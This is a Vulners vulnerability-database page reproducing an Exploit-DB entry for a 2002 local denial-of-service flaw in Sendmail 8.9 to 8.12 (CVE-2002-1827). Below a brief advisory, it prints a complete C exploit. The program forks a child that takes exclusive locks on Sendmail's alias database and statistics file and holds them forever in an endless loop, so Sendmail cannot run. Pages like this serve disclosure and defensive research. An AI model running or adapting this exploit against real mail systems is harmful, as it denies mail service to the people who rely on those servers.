Lucene search
+L

Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (2)

🗓️ 24 May 2002 00:00:00Reported by zillionType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Vulnerability in Sendmail allows denial of service via file locking by malicious users.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-1827
28 Jun 200504:00
cve
cvelist
Cvelist
CVE-2002-1827
28 Jun 200504:00
cvelist
debiancve
Debian CVE
CVE-2002-1827
28 Jun 200504:00
debiancve
exploitdb
Exploit DB
Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (1)
24 May 200200:00
exploitdb
euvd
EUVD
EUVD-2002-1806
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-1827
31 Dec 200205:00
nvd
osv
OSV
CVE-2002-1827
31 Dec 200205:00
osv
osv
OSV
DEBIAN-CVE-2002-1827
31 Dec 200205:00
osv
// source: https://www.securityfocus.com/bid/4822/info

Sendmail is a MTA for Unix and Linux variants.

There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation.

#include <fcntl.h>
#include <unistd.h>

/*

Stupid piece of code to test the sendmail lock vulnerability on
FreeBSD. Run this and try sendmail -t on FreeBSD for example.

More info: http://www.sendmail.org/LockingAdvisory.txt

zillion (at safemode.org && snosoft.com)
http://www.safemode.org
http://www.snosoft.com

*/

int main() {

  if(fork() == 0) {

    char *lock1 = "/etc/mail/aliases";
    char *lock2 = "/etc/mail/aliases.db";
    char *lock3 = "/var/log/sendmail.st";

    int fd;
    fd = open(lock1,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock2,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock3,O_RDONLY);
    flock(fd,0x02);

    /* We are here to stay! */

    for(;;) {}

  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00928
31